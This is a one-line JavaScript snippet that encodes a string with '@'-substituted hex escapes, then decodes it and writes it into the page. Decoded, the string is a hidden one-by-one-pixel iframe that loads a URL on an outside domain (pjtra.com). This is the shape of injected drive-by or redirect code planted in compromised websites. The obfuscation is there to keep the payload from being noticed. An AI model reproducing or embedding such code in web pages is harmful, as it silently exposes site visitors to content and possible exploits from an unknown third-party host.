str='@3c@49@46@52@41@4d@45@20@53@52@43@3d@27@68@74@74@70@3a@2f@2f@77@77@77@2e@70@6a@74@72@61@2e@63@6f@6d@2f@74@2f@52@44@31@48@51@6b@42@41@50@55@68@48@53@55@67@39@52@6b@6c@43@53@41@27@20@57@49@44@54@48@3d@31@20@48@45@49@47@48@54@3d@31@3e@3c@2f@49@46@52@41@4d@45@3e'; document.write(unescape(str.replace(/@/g,'%')));